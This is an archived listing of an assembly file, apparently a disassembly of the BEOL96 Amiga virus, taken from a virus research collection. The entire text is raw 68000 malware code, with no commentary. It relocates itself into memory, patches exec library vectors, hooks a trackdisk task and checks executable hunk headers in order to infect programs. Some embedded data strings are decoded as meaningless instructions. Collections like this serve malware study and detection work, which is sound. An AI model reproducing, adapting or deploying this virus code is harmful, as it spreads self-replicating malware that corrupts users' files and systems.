home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
amiga_virus_collection_research.7z
/
VIRUSCOLLECTIE
/
B
/
BEOL
/
BEOL96_MEM.ASM
< prev
next >
Wrap
Assembly Source File
|
1997-10-08
|
28KB
|
1,106 lines
; IRA V1.02 (Sep 6 1993) (c)1993 Tim Ruehsen
ABSEXECBASE EQU $4
CHK EQU $18
EXT_0002 EQU $3F2
EXT_0003 EQU $400
EXT_0004 EQU $600
EXT_0005 EQU $DFF007
SECTION S_0,CODE
SECSTRT_0:
DC.W $001F ;000
LSL.L D2,D6 ;002: E5AE
DC.W $0000 ;004
DC.W $3328 ;006
DC.W $FFFF ;008
DC.W $001F ;00A
ROXL -(A6) ;00C: E5E6
DC.W $001F ;00E
ROL.L D2,D4 ;010: E5BC
DC.W $001F ;012
ASL.L D2,D0 ;014: E5A0
ORI.B #$1F,D0 ;016: 0000001F
ROXR #3,D6 ;01A: E656
DC.W $0000 ;01C
DC.W $332C ;01E
DC.W $001F ;020
LSL.L D2,D6 ;022: E5AE
ORI.B #$1F,D0 ;024: 0000001F
DC.W $E6C6 ;028
DC.W $FFFF ;02A
ORI.B #$00,D0 ;02C: 00000000
DC.W $FFFF ;030
DC.W $FFFF ;032
ORI.B #$00,D0 ;034: 00000000
DC.W $001F ;038
LSR #3,D0 ;03A: E648
DC.W $001F ;03C
ROL -(A2) ;03E: E7E2
BTST D0,D1 ;040: 0101
DC.W $001F ;042
ASR.B #3,D6 ;044: E606
NEG D6 ;046: 4446
MOVE D0,D0 ;048: 3000
DC.W $FFFF ;04A
ORI.B #$00,D0 ;04C: 00000000
DC.W $FFFF ;050
DC.W $FFFF ;052
ORI.B #$00,D0 ;054: 00000000
DC.W $FFFF ;058
DC.W $FFFF ;05A
ORI.B #$00,D0 ;05C: 00000000
DC.W $FFFF ;060
DC.W $FFFF ;062
DC.W $0000 ;064
DC.W $456E ;066
BSR.S LAB_0001 ;068: 6162
DC.W $6C65 ;06A
BCC.S LAB_0000 ;06C: 6420
MOVE.L 8260(A5),D0 ;06E: 202D2044
NOT.B 32(A0,D2.W) ;072: 46302020
MOVE.L -(A0),D0 ;076: 2020
MOVE.L -(A0),D0 ;078: 2020
MOVE.L -(A0),D0 ;07A: 2020
DC.W $2070 ;07C
MOVEQ #105,D1 ;07E: 7269
BLE.S LAB_0002 ;080: 6F72
BVS.S LAB_0003 ;082: 6974
DC.W $7920 ;084
MOVE -(A0),-(A2) ;086: 3520
MOVE.L -(A0),D0 ;088: 2020
MOVEA.L D1,A0 ;08A: 2041
DC.W $444F ;08C
LAB_0000:
SUBQ.B #1,-(A0) ;08E: 5320
DC.W $2074 ;090
MOVEQ #97,D1 ;092: 7261
DC.W $636B ;094
DC.W $6469 ;096
DC.W $736B ;098
MOVE.L 0(A0,D0.W),-(A6) ;09A: 2D300000
DC.W $0000 ;09E
DC.W $FFFF ;0A0
DC.W $FFFF ;0A2
ORI.B #$00,D0 ;0A4: 00000000
DC.W $001F ;0A8
ROR.L D3,D0 ;0AA: E6B8
DC.W $001F ;0AC
ROXL (A0)+ ;0AE: E5D8
BTST D0,D1 ;0B0: 0101
DC.W $001F ;0B2
ROXR D3,D6 ;0B4: E676
DC.W $4343 ;0B6
MOVE D0,D0 ;0B8: 3000
DC.W $FFFF ;0BA
ORI.B #$00,D0 ;0BC: 00000000
DC.W $FFFF ;0C0
DC.W $FFFF ;0C2
ORI.B #$00,D0 ;0C4: 00000000
DC.W $FFFF ;0C8
DC.W $FFFF ;0CA
LAB_0001:
ORI.B #$00,D0 ;0CC: 00000000
DC.W $FFFF ;0D0
DC.W $FFFF ;0D2
DC.W $0000 ;0D4
DC.W $456E ;0D6
BSR.S LAB_0005 ;0D8: 6162
DC.W $6C65 ;0DA
BCC.S LAB_0004 ;0DC: 6420
DC.W $202D ;0DE
MOVEA.L D3,A0 ;0E0: 2043
DC.W $4330 ;0E2
MOVE.L -(A0),D0 ;0E4: 2020
MOVE.L -(A0),D0 ;0E6: 2020
MOVE.L -(A0),D0 ;0E8: 2020
MOVE.L -(A0),D0 ;0EA: 2020
DC.W $2070 ;0EC
MOVEQ #105,D1 ;0EE: 7269
BLE.S LAB_0006 ;0F0: 6F72
BVS.S LAB_0007 ;0F2: 6974
LAB_0002:
DC.W $7920 ;0F4
MOVE -(A0),-(A1) ;0F6: 3320
LAB_0003:
MOVE.L -(A0),D0 ;0F8: 2020
MOVEA.L D1,A0 ;0FA: 2041
DC.W $444F ;0FC
LAB_0004:
SUBQ.B #1,-(A0) ;0FE: 5320
MOVEA.L -(A3),A0 ;100: 2063
BSR.S LAB_000A ;102: 6172
BCC.S LAB_0008 ;104: 6464
DC.W $6973 ;106
DC.W $6B2D ;108
MOVE D0,D0 ;10A: 3000
ORI.B #$00,D0 ;10C: 00000000
DC.W $FFFF ;110
DC.W $FFFF ;112
ORI.B #$00,D0 ;114: 00000000
DC.W $001F ;118
LSL.B D3,D0 ;11A: E728
DC.W $001F ;11C
LSR #3,D0 ;11E: E648
BTST D0,D1 ;120: 0101
DC.W $001F ;122
ROR -(A6) ;124: E6E6
SWAP D4 ;126: 4844
MOVE D0,D0 ;128: 3000
DC.W $FFFF ;12A
ORI.B #$00,D0 ;12C: 00000000
DC.W $FFFF ;130
DC.W $FFFF ;132
ORI.B #$00,D0 ;134: 00000000
DC.W $FFFF ;138
DC.W $FFFF ;13A
LAB_0005:
ORI.B #$00,D0 ;13C: 00000000
DC.W $FFFF ;140
DC.W $FFFF ;142
DC.W $0000 ;144
DC.W $456E ;146
BSR.S LAB_000B ;148: 6162
DC.W $6C65 ;14A
BCC.S LAB_0009 ;14C: 6420
MOVE.L 8264(A5),D0 ;14E: 202D2048
NEG.B 32(A0,D2.W) ;152: 44302020
MOVE.L -(A0),D0 ;156: 2020
MOVE.L -(A0),D0 ;158: 2020
MOVE.L -(A0),D0 ;15A: 2020
DC.W $2070 ;15C
MOVEQ #105,D1 ;15E: 7269
BLE.S LAB_000C ;160: 6F72
BVS.S LAB_000D ;162: 6974
LAB_0006:
DC.W $7920 ;164
MOVE -(A0),D0 ;166: 3020
LAB_0007:
MOVE.L -(A0),D0 ;168: 2020
LAB_0008:
MOVEA.L D1,A0 ;16A: 2041
DC.W $444F ;16C
LAB_0009:
SUBQ.B #1,-(A0) ;16E: 5320
DC.W $2073 ;170
DC.W $6373 ;172
DC.W $692D ;174
LAB_000A:
MOVE D0,D0 ;176: 3000
DC.W $FFFF ;178
DC.W $FFFF ;17A
ORI.B #$00,D0 ;17C: 00000000
DC.W $FFFF ;180
DC.W $FFFF ;182
ORI.B #$00,D0 ;184: 00000000
DC.W $001F ;188
ROL -(A6) ;18A: E7E6
DC.W $001F ;18C
ROR.L D3,D0 ;18E: E6B8
BTST D0,D1 ;190: 0101
DC.W $001F ;192
ROXL #3,D6 ;194: E756
SWAP D4 ;196: 4844
MOVE D0,-(A0) ;198: 3100
DC.W $FFFF ;19A
ORI.B #$00,D0 ;19C: 00000000
DC.W $FFFF ;1A0
DC.W $FFFF ;1A2
ORI.B #$00,D0 ;1A4: 00000000
DC.W $FFFF ;1A8
DC.W $FFFF ;1AA
LAB_000B:
ORI.B #$00,D0 ;1AC: 00000000
DC.W $FFFF ;1B0
DC.W $FFFF ;1B2
DC.W $0000 ;1B4
DC.W $456E ;1B6
BSR.S LAB_0010 ;1B8: 6162
DC.W $6C65 ;1BA
BCC.S LAB_000E ;1BC: 6420
MOVE.L 8264(A5),D0 ;1BE: 202D2048
NEG.B 32(A1,D2.W) ;1C2: 44312020
MOVE.L -(A0),D0 ;1C6: 2020
MOVE.L -(A0),D0 ;1C8: 2020
MOVE.L -(A0),D0 ;1CA: 2020
MOVEA.L 28532(A6),A0 ;1CC: 206E6F74
MOVEA.L -(A2),A0 ;1D0: 2062
DC.W $6F6F ;1D2
LAB_000C:
MOVEQ #97,D2 ;1D4: 7461
BHI.S LAB_0011 ;1D6: 626C
LAB_000D:
BCS.S LAB_000F ;1D8: 6520
MOVEA.L D1,A0 ;1DA: 2041
DC.W $444F ;1DC
LAB_000E:
SUBQ.B #1,-(A0) ;1DE: 5320
DC.W $2073 ;1E0
DC.W $6373 ;1E2
DC.W $692D ;1E4
MOVE D0,D0 ;1E6: 3000
DC.W $FFFF ;1E8
DC.W $FFFF ;1EA
ORI.B #$00,D0 ;1EC: 00000000
DC.W $FFFF ;1F0
DC.W $FFFF ;1F2
ORI.B #$00,D0 ;1F4: 00000000
DC.W $FFFF ;1F8
LAB_000F:
DC.W $FFFF ;1FA
ORI.B #$00,D0 ;1FC: 00000000
ILLEGAL ;200: 4AFC
DC.W $001F ;202
ASL.L D3,D0 ;204: E7A0
DC.W $001F ;206
DC.W $E7C2 ;208
DC.W $FFFF ;20A
DC.W $00CE ;20C
DC.W $00F8 ;20E
ADD.B -1(A0),D1 ;210: D228FFFF
ORI.B #$00,D0 ;214: 00000000
DC.W $FFFF ;218
DC.W $001F ;21A
LAB_0010:
ASL.L D3,D0 ;21C: E7A0
ORI.B #$00,D0 ;21E: 00000000
ORI.B #$00,D0 ;222: 00000000
DC.W $0000 ;226
DC.W $FFFF ;228
DC.W $11FF ;22A
ORI.B #$00,D0 ;22C: 00000000
ORI.B #$1F,D2 ;230: 0002001F
ROL.L #3,D0 ;234: E798
ORI.B #$68,D0 ;236: 00000068
DC.W $001F ;23A
ROXL (A0) ;23C: E5D0
DC.W $0000 ;23E
DC.W $01C8 ;240
DC.W $001F ;242
LAB_0011:
ROXL (A0)+ ;244: E5D8
ORI.B #$00,D0 ;246: 00000000
DC.W $001F ;24A
LSL.B D3,D0 ;24C: E728
DC.W $001F ;24E
ROXL (A0)+ ;250: E5D8
ORI.B #$01,D0 ;252: 00000001
ORI.B #$02,D0 ;256: 00000002
ORI.B #$00,D0 ;25A: 00000000
BTST D0,D0 ;25E: 0100
LAB_0012:
LEA LAB_0018(PC),A0 ;260: 41FA018C
MOVE.L (A0),D0 ;264: 2010
LAB_0013:
SUBQ #2,A0 ;266: 5548
CMP.L (A0),D0 ;268: B090
BNE.S LAB_0013 ;26A: 66FA
MOVE #$4EF9,(A0) ;26C: 30BC4EF9
MOVE.L -(A0),D2 ;270: 2420
LSL.L #2,D2 ;272: E58A
ADDQ.L #4,D2 ;274: 5882
MOVE.L D2,6(A0) ;276: 21420006
MOVEA.L D2,A0 ;27A: 2042
EORI #$39EF,(A0) ;27C: 0A5039EF
LEA LAB_0012(PC),A1 ;280: 43FAFFDE
MOVEA.L 58(A6),A0 ;284: 206E003A
MOVE #$037A,D7 ;288: 3E3C037A
LAB_0014:
MOVE (A1)+,(A0)+ ;28C: 30D9
DBF D7,LAB_0014 ;28E: 51CFFFFC
PEA -1400(A0) ;292: 4868FA88
JMP -636(A6) ;296: 4EEEFD84
CLR D5 ;29A: 4245
DC.W $4F4C ;29C
DC.W $3936 ;29E
EOR.B D2,D0 ;2A0: B500
RTS ;2A2: 4E75
SUB.B D2,D0 ;2A4: 9002
RTS ;2A6: 4E75
ROR.B #3,D0 ;2A8: E618
RTS ;2AA: 4E75
ADD.B D2,D0 ;2AC: D002
RTS ;2AE: 4E75
DC.W $180C ;2B0
BTST D7,(A5) ;2B2: 0F15
BTST D7,(A0)+ ;2B4: 0F18
DC.W $040D ;2B6
MOVE.B (A0),D0 ;2B8: 1010
DC.W $110A ;2BA
ROXL.B #1,D1 ;2BC: E311
DC.W $06E4 ;2BE
MOVE.B D4,-(A0) ;2C0: 1104
LSL.B #4,D5 ;2C2: E90D
MOVE.B 3331(A0),(A1)+ ;2C4: 12E80D03
MOVEP 4112(A1),D1 ;2C8: 03091010
DC.W $0203 ;2CC
ROL.B #3,D0 ;2CE: E718
MOVEP 784(A1),D1 ;2D0: 03090310
OR.B (A2),D0 ;2D4: 8012
ADDX.B D0,D0 ;2D6: D100
DC.W $041C ;2D8
DC.W $0A13 ;2DA
MOVEP 16890(A1),D0 ;2DC: 010941FA
DC.W $0E00 ;2E0
MOVEP 16890(A1),D0 ;2E2: 010941FA
DC.W $0F0C ;2E6
BCHG D4,(A1) ;2E8: 0951
OR.B D1,D4 ;2EA: 8801
BCHG D4,D1 ;2EC: 0941
DC.W $FA10 ;2EE
DC.W $0C09 ;2F0
ADDQ.L #8,A0 ;2F2: 5088
DC.W $0448 ;2F4
MOVEQ #14,D5 ;2F6: 7A0E
DC.W $0109 ;2F8
MOVEA.L (A7)+,A0 ;2FA: 205F
DC.W $0004 ;2FC
MOVE.B (A3)+,-(A0) ;2FE: 111B
MOVE.L D1,-(A3) ;300: 2701
DC.W $0841 ;302
DC.W $F804 ;304
DC.W $077F ;306
BTST D1,D2 ;308: 0302
DC.W $0820 ;30A
DC.W $0800 ;30C
DC.W $0548 ;30E
MOVEQ #7,D4 ;310: 7807
DC.W $7F01 ;312
DC.W $0220 ;314
MOVE.B D0,-(A7) ;316: 1F00
BTST D0,D2 ;318: 0102
MOVE #$0B06,D0 ;31A: 303C0B06
DC.W $077F ;31E
DC.W $0C02 ;320
SUBQ #8,D0 ;322: 5140
BTST D0,D2 ;324: 0102
MOVE #$0607,D0 ;326: 303C0607
DC.W $7F02 ;32A
DC.W $0206 ;32C
NEGX.B D7 ;32E: 4007
LAB_0015:
OR.L D5,D0 ;330: 8085
OR.L D2,-(A7) ;332: 85A7
DC.W $CC09 ;334
DC.W $7D2F ;336
ADDQ.B #8,D7 ;338: 5007
DC.W $0409 ;33A
MOVE.B (A7)+,-(A2) ;33C: 151F
DC.W $0209 ;33E
ADDQ #1,A0 ;340: 5248
DC.W $0002 ;342
MOVEP.L 20484(A0),D4 ;344: 09485004
ADDQ.L #1,(A7) ;348: 5297
DC.W $0109 ;34A
MOVEA.L (A7)+,A0 ;34C: 205F
DC.W $0001 ;34E
DC.W $0370 ;350
BTST D0,D3 ;352: 0103
BTST D4,D3 ;354: 0903
ADDA D0,A0 ;356: D0C0
DC.W $0003 ;358
MOVEP 4120(A1),D1 ;35A: 03091018
DC.W $0027 ;35E
DC.W $0409 ;360
MOVE.B (A1),-(A0) ;362: 1111
DC.W $0202 ;364
DC.W $51C8 ;366
DC.W $0A02 ;368
ANDI #$4004,(A3) ;36A: 02534004
DC.W $6A00 ;36E
DC.W $0A02 ;370
DC.W $024A ;372
NEGX.B D4 ;374: 4004
BEQ.S LAB_0016+2 ;376: 6706
DC.W $0202 ;378
SUBQ #1,D0 ;37A: 5340
LAB_0016:
SUBI #$000A,-(A0) ;37C: 0460000A
AND.B D4,D0 ;380: C004
BTST D7,(A3)+ ;382: 0F1B
MOVE.L D5,-(A3) ;384: 2705
PEA LAB_0017(PC) ;386: 487A0006
DC.W $054E ;38A
DC.W $EEFD ;38C
LAB_0017:
OR.B D0,D2 ;38E: 8400
BTST D0,D7 ;390: 0107
LEA 1789(A6),A0 ;392: 41EE06FD
OR.B D2,D2 ;396: 8402
DC.W $074E ;398
DC.W $A807 ;39A
BTST D0,D1 ;39C: 0101
MOVE #$08FD,D0 ;39E: 303C08FD
OR.B D4,D2 ;3A2: 8404
DC.W $4EB6 ;3A4
BTST D4,D1 ;3A6: 0901
DC.W $054E ;3A8
DC.W $AEFD ;3AA
OR.B D0,D2 ;3AC: 8400
DC.W $040A ;3AE
MOVE.B -(A4),D4 ;3B0: 1824
BTST D2,30720(A4) ;3B2: 052C7800
DC.W $0400 ;3B6
BTST D0,D0 ;3B8: 0100
MOVEQ #4,D0 ;3BA: 7004
BTST D1,D6 ;3BC: 0306
DC.W $0020 ;3BE
NEGX.B D2 ;3C0: 4002
DC.W $062C ;3C2
ADDQ.B #8,D0 ;3C4: 5000
BTST D0,D0 ;3C6: 0100
MOVE.L (EXT_0003).W,D0 ;3C8: 20380400
SUBI.B #$2C,D2 ;3CC: 0402002C
NEGX.B D0 ;3D0: 4000
BTST D0,D6 ;3D2: 0106
LEA (EXT_0004).W,A0 ;3D4: 41F80600
DC.W $0402 ;3D8
DC.W $062C ;3DA
DC.W $6807 ;3DC
BSR.S LAB_0018 ;3DE: 610E
LEA 56(A7),A0 ;3E0: 41EF0038
MOVEA.L (A0),A6 ;3E4: 2C50
MOVE.L D2,(A0) ;3E6: 2082
MOVEM.L (A7)+,D0-D7/A0-A5 ;3E8: 4CDF3FFF
RTS ;3EC: 4E75
LAB_0018:
MOVEM.L D0-D7/A0-A6,-(A7) ;3EE: 48E7FFFE
JSR -132(A6) ;3F2: 4EAEFF7C
MOVEQ #13,D1 ;3F6: 720D
LEA LAB_001C(PC),A1 ;3F8: 43FA002A
MOVEA.L 420(A6),A0 ;3FC: 206E01A4
BSR.S LAB_001A ;400: 6110
MOVEA.L 406(A6),A0 ;402: 206E0196
BSR.S LAB_001A ;406: 610A
JSR -138(A6) ;408: 4EAEFF76
MOVEM.L (A7)+,D0-D7/A0-A6 ;40C: 4CDF7FFF
LAB_0019:
RTS ;410: 4E75
LAB_001A:
TST.L (A0) ;412: 4A90
BEQ.S LAB_0019 ;414: 67FA
CMP.B 8(A0),D1 ;416: B2280008
BNE.S LAB_001B ;41A: 6604
MOVE.L A1,180(A0) ;41C: 214900B4
LAB_001B:
MOVEA.L (A0),A0 ;420: 2050
BRA.S LAB_001A ;422: 60EE
LAB_001C:
MOVEM.L D1-D7/A0-A6,-(A7) ;424: 48E77FFE
MOVEA.L (ABSEXECBASE).W,A6 ;428: 2C780004
MOVEA.L 276(A6),A3 ;42C: 266E0114
LEA 70(A3),A3 ;430: 47EB0046
BSR LAB_0045 ;434: 610002D0
MOVEA.L D0,A5 ;438: 2A40
LEA (CHK).W,A4 ;43A: 49F80018
ADDA.L 10(A5),A4 ;43E: D9ED000A
BSR.S LAB_0018 ;442: 61AA
NOT.B 9(A5) ;444: 462D0009
BMI.S LAB_0021 ;448: 6B3E
MOVE.L -20(A4),D6 ;44A: 2C2CFFEC
MOVEA.L D6,A0 ;44E: 2046
TST.L 96(A0) ;450: 4AA80060
BNE.S LAB_0021 ;454: 6632
MOVE.L -16(A4),D0 ;456: 202CFFF0
BSR.S LAB_001E ;45A: 611E
DC.W $040A ;45C
DC.W $0032 ;45E
BSET D1,330(A7) ;460: 03EF014A
BSET D1,164(A5) ;464: 03ED00A4
ORI #$0150,(A2) ;468: 00520150
ORI.B #$22,(A0)+ ;46C: 00180022
ORI.B #$1E,(A7) ;470: 0017001E
LAB_001D:
ADDA (A0),A0 ;474: D0D0
JSR (A0) ;476: 4E90
BRA.S LAB_0020 ;478: 600A
LAB_001E:
MOVEA.L (A7)+,A0 ;47A: 205F
LAB_001F:
CMP (A0)+,D0 ;47C: B058
BEQ.S LAB_001D ;47E: 67F4
MOVEA (A0)+,A1 ;480: 3258
BLT.S LAB_001F ;482: 6DF8
LAB_0020:
CLR.B 9(A5) ;484: 422D0009
LAB_0021:
MOVE.L A5,D0 ;488: 200D
MOVEM.L (A7)+,D1-D7/A0-A6 ;48A: 4CDF7FFE
RTS ;48E: 4E75
SUBA.L A0,A0 ;490: 91C8
MOVE.L 102(A3),D0 ;492: 202B0066
LSL.L #2,D0 ;496: E588
BEQ.S LAB_0028 ;498: 6760
MOVE.L 16(A0,D0.L),D0 ;49A: 20300810
LSL.L #2,D0 ;49E: E588
BEQ.S LAB_0028 ;4A0: 6758
MOVEA.L D0,A0 ;4A2: 2040
MOVEQ #0,D0 ;4A4: 7000
MOVE.B (A0)+,D0 ;4A6: 1018
ADDA D0,A0 ;4A8: D0C0
BSR.S LAB_0023 ;4AA: 6114
BCLR D1,-(A0) ;4AC: 03A0
SUB A0,D4 ;4AE: 9848
BRA.S LAB_0022 ;4B0: 6002
SUB A0,D0 ;4B2: 9048
LAB_0022:
MOVE.L A0,D0 ;4B4: 2008
NEGX.B (A0)+ ;4B6: 4018
MOVEQ #40,D0 ;4B8: 7028
DC.W $1058 ;4BA
DC.W $9078 ;4BC
DC.W $B8FF ;4BE
LAB_0023:
MOVEA.L (A7)+,A1 ;4C0: 225F
BRA.S LAB_0025 ;4C2: 6002
LAB_0024:
ADDA D7,A1 ;4C4: D2C7
LAB_0025:
MOVEQ #0,D7 ;4C6: 7E00
MOVE.B (A1)+,D7 ;4C8: 1E19
BMI.S LAB_0028 ;4CA: 6B2E
MOVEA.L A0,A2 ;4CC: 2448
LAB_0026:
MOVE.B -(A2),D0 ;4CE: 1022
LSL.B #3,D0 ;4D0: E708
CMP.B (A1)+,D0 ;4D2: B019
BNE.S LAB_0024 ;4D4: 66EE
DBF D7,LAB_0026 ;4D6: 51CFFFF6
MOVEQ #36,D0 ;4DA: 7024
ADD.L (A4),D0 ;4DC: D094
LSL.L #2,D0 ;4DE: E588
MOVEA.L D0,A0 ;4E0: 2040
MOVEA.L A0,A1 ;4E2: 2248
BSR.S LAB_0029 ;4E4: 6116
BNE.S LAB_0028 ;4E6: 6612
ADDA D0,A0 ;4E8: D0C0
MOVEQ #3,D7 ;4EA: 7E03
LAB_0027:
MOVE.B (A0)+,D0 ;4EC: 1018
ROR #8,D0 ;4EE: E058
DBF D7,LAB_0027 ;4F0: 51CFFFFA
BEQ.S LAB_0028 ;4F4: 6704
MOVE.L D0,-20(A1) ;4F6: 2340FFEC
LAB_0028:
RTS ;4FA: 4E75
LAB_0029:
MOVEQ #0,D0 ;4FC: 7000
MOVE.B (A0),D0 ;4FE: 1010
SUBQ #4,D0 ;500: 5940
BLT.S LAB_002A ;502: 6D04
TST.B 1(A0,D0.W) ;504: 4A300001
LAB_002A:
RTS ;508: 4E75
BSR LAB_0033 ;50A: 6100008C
TST.L -12(A4) ;50E: 4AACFFF4
BEQ.S LAB_002A ;512: 67F4
MOVEQ #65,D0 ;514: 7041
LSL.L #2,D0 ;516: E588
MOVEQ #1,D1 ;518: 7201
JSR -684(A6) ;51A: 4EAEFD54
MOVE.L D0,(A3) ;51E: 2680
BEQ.S LAB_002A ;520: 67E6
MOVEA.L D0,A2 ;522: 2440
LEA LAB_0048(PC),A0 ;524: 41FA0210
BSR.S LAB_0030 ;528: 6152
MOVEA.L 124(A2),A0 ;52A: 206A007C
SUBQ #3,124(A2) ;52E: 576A007C
BGE.S LAB_002B ;532: 6C02
ADDQ #8,D5 ;534: 5045
LAB_002B:
BGE.S LAB_0033 ;536: 6C60
MOVE.L A0,D5 ;538: 2A08
ADDA #$0802,A0 ;53A: D0FC0802
MOVE.L A0,D0 ;53E: 2008
MOVEQ #1,D1 ;540: 7201
JSR -684(A6) ;542: 4EAEFD54
MOVE.L D0,(A2)+ ;546: 24C0
MOVE.L D5,(A2) ;548: 2485
ADD.L D0,(A2)+ ;54A: D19A
MOVE.L D0,(A2)+ ;54C: 24C0
BEQ.S LAB_002C ;54E: 6706
LEA 132(A2),A0 ;550: 41EA0084
BSR.S LAB_0029 ;554: 61A6
LAB_002C:
BEQ.S LAB_0033 ;556: 6740
ADDQ.B #4,(A0) ;558: 5810
LEA 5(A0,D0.W),A1 ;55A: 43F00005
CLR.B (A1)+ ;55E: 4219
LAB_002D:
MOVE.B D5,(A1)+ ;560: 12C5
LSR.L #8,D5 ;562: E08D
BNE.S LAB_002D ;564: 66FA
MOVE.L D4,(A2)+ ;566: 24C4
MOVE.L 4(A4),D0 ;568: 202C0004
LSL.L #2,D0 ;56C: E588
MOVEA.L D0,A0 ;56E: 2040
MOVE.B (A0)+,D0 ;570: 1018
MOVE.B D0,(A2)+ ;572: 14C0
LAB_002E:
MOVE.B (A0)+,(A2)+ ;574: 14D8
SUBQ.B #1,D0 ;576: 5300
BGT.S LAB_002E ;578: 6EFA
LAB_002F:
RTS ;57A: 4E75
LAB_0030:
LEA 16(A4),A1 ;57C: 43EC0010
MOVEQ #9,D1 ;580: 7209
LAB_0031:
MOVE.L -(A1),-(A7) ;582: 2F21
DBF D1,LAB_0031 ;584: 51C9FFFC
JSR (A0) ;588: 4E90
LEA -24(A4),A1 ;58A: 43ECFFE8
MOVEQ #9,D1 ;58E: 7209
LAB_0032:
MOVE.L (A7)+,(A1)+ ;590: 22DF
DBF D1,LAB_0032 ;592: 51C9FFFC
RTS ;596: 4E75
LAB_0033:
MOVE.L (A3),D0 ;598: 2013
BEQ.S LAB_002F ;59A: 67DE
SUBA.L A1,A1 ;59C: 93C9
MOVEA.L 8(A1,D0.L),A1 ;59E: 22710808
BSR.S LAB_0034 ;5A2: 6104
MOVEA.L (A3),A1 ;5A4: 2253
CLR.L (A3) ;5A6: 4293
LAB_0034:
JMP -690(A6) ;5A8: 4EEEFD4E
MOVE.L (A3),D0 ;5AC: 2013
BEQ.S LAB_0033 ;5AE: 67E8
MOVEA.L D0,A2 ;5B0: 2440
LEA LAB_0046(PC),A0 ;5B2: 41FA0162
BSR.S LAB_0030 ;5B6: 61C4
BRA.S LAB_0033 ;5B8: 60DE
MOVE.L (A3),D0 ;5BA: 2013
BEQ.S LAB_002F ;5BC: 67BC
MOVEA.L D0,A2 ;5BE: 2440
MOVEA.L (A2)+,A1 ;5C0: 225A
MOVE.L -12(A4),D0 ;5C2: 202CFFF4
BEQ.S LAB_002F ;5C6: 67B2
MOVE.L D0,D5 ;5C8: 2A00
ADDA.L D0,A1 ;5CA: D3C0
CMPA.L (A2),A1 ;5CC: B3D2
BGT.S LAB_0033 ;5CE: 6EC8
MOVE.L A1,-(A2) ;5D0: 2509
SUBA.L D0,A1 ;5D2: 93C0
MOVEA.L (A4),A0 ;5D4: 2054
JSR -624(A6) ;5D6: 4EAEFD90
CMP.L 4(A4),D5 ;5DA: BAAC0004
BEQ.S LAB_002F ;5DE: 679A
MOVEA.L (A2)+,A1 ;5E0: 225A
CMPA.L (A2)+,A1 ;5E2: B3DA
LAB_0035:
BNE.S LAB_0033 ;5E4: 66B2
MOVEA.L (A2),A2 ;5E6: 2452
SUBI.L #$000003F3,(A2)+ ;5E8: 049A000003F3
BNE.S LAB_0033 ;5EE: 66A8
MOVE.L A1,-(A7) ;5F0: 2F09
MOVE #$06F5,D5 ;5F2: 3A3C06F5
ADDA #$0702,A1 ;5F6: D2FC0702
DC.W $41FA ;5FA
BCHG D1,(A2)+ ;5FC: 035A
BSR LAB_004B ;5FE: 61000176
ADDQ #4,A2 ;602: 584A
MOVEA.L A2,A0 ;604: 204A
MOVE.L (A0),D4 ;606: 2810
ADDQ.L #1,(A0) ;608: 5290
ADDQ.L #8,A0 ;60A: 5088
ADDQ.L #1,(A0)+ ;60C: 5298
LSL.L #2,D4 ;60E: E58C
ADDA.L D4,A0 ;610: D1C4
LSR.L #2,D4 ;612: E48C
MOVEQ #0,D3 ;614: 7600
MOVEQ #-8,D7 ;616: 7EF8
LAB_0036:
MOVE.L (A0)+,D0 ;618: 2018
SUBI #$03E8,D0 ;61A: 044003E8
BPL.S LAB_0039 ;61E: 6A04
LAB_0037:
MOVE.L (A7)+,D0 ;620: 201F
LAB_0038:
BNE.S LAB_0035 ;622: 66C0
LAB_0039:
CMPI #$000B,D0 ;624: 0C40000B
BGE.S LAB_0037 ;628: 6CF6
MOVE.B LAB_003A(PC,D0.W),D0 ;62A: 103B0006
JMP LAB_003A(PC,D0.W) ;62E: 4EFB0002
LAB_003A:
DC.W $440C ;632
DC.W $0C4C ;634
MOVE.L -4370(A6),(A6)+ ;636: 2CEEEEEE
MOVEA D4,A4 ;63A: 3844
ADDQ.B #8,D0 ;63C: 5000
MOVE.L (A0)+,D1 ;63E: 2218
TST.L D7 ;640: 4A87
BPL.S LAB_003B ;642: 6A04
ADD.L A0,D7 ;644: DE88
EOR D2,(A0) ;646: B550
LAB_003B:
CMPI #$4E75,2(A0) ;648: 0C684E750002
BEQ.S LAB_0037 ;64E: 67D0
LSL.L #2,D1 ;650: E589
ADDA.L D1,A0 ;652: D1C1
LAB_003C:
TAS D3 ;654: 4AC3
BEQ.S LAB_0036 ;656: 67C0
SUBQ #1,D4 ;658: 5344
BEQ.S LAB_0037 ;65A: 67C4
BRA.S LAB_0036 ;65C: 60BA
LAB_003D:
MOVE.L (A0)+,D1 ;65E: 2218
BEQ.S LAB_0036 ;660: 67B6
ADDQ.L #1,(A0)+ ;662: 5298
LSL.L #2,D1 ;664: E589
ADDA.L D1,A0 ;666: D1C1
BRA.S LAB_003D ;668: 60F4
LAB_003E:
MOVE.L (A0)+,D1 ;66A: 2218
BEQ.S LAB_0036 ;66C: 67AA
LSL.L #2,D1 ;66E: E589
LEA 4(A0,D1.L),A0 ;670: 41F01804
BRA.S LAB_003E ;674: 60F4
MOVE.L (A0)+,D1 ;676: 2218
LSL.L #2,D1 ;678: E589
ADDA.L D1,A0 ;67A: D1C1
BRA.S LAB_0036 ;67C: 609A
ADDQ.L #4,A0 ;67E: 5888
BRA.S LAB_003C ;680: 60D2
MOVEQ #0,D3 ;682: 7600
SUBQ #1,D4 ;684: 5344
BNE.S LAB_0036 ;686: 6690
MOVE.L A0,D3 ;688: 2608
CMP.L (A7)+,D3 ;68A: B69F
BNE.S LAB_0038 ;68C: 6694
LEA LAB_0041(PC),A0 ;68E: 41FA004A
BSR.S LAB_003F ;692: 6104
LEA LAB_0040(PC),A0 ;694: 41FA0006
LAB_003F:
BRA LAB_0030 ;698: 6000FEE2
LAB_0040:
MOVEQ #8,D0 ;69C: 7008
MOVEQ #-1,D1 ;69E: 72FF
MOVEM.L D0-D1,(A4) ;6A0: 48D40003
MOVE #$03F0,D0 ;6A4: 303C03F0
BSR.S LAB_0043 ;6A8: 6148
MOVE.L A2,(A4) ;6AA: 288A
MOVEQ #12,D0 ;6AC: 700C
MOVE.L D0,4(A4) ;6AE: 29400004
MOVEQ #87,D0 ;6B2: 7057
BSR.S LAB_0043 ;6B4: 613C
ADDQ #8,A2 ;6B6: 504A
MOVE.L D5,(A2) ;6B8: 2485
SUB.L A2,D7 ;6BA: 9E8A
MOVE.L A2,(A4) ;6BC: 288A
MOVE.L D7,4(A4) ;6BE: 29470004
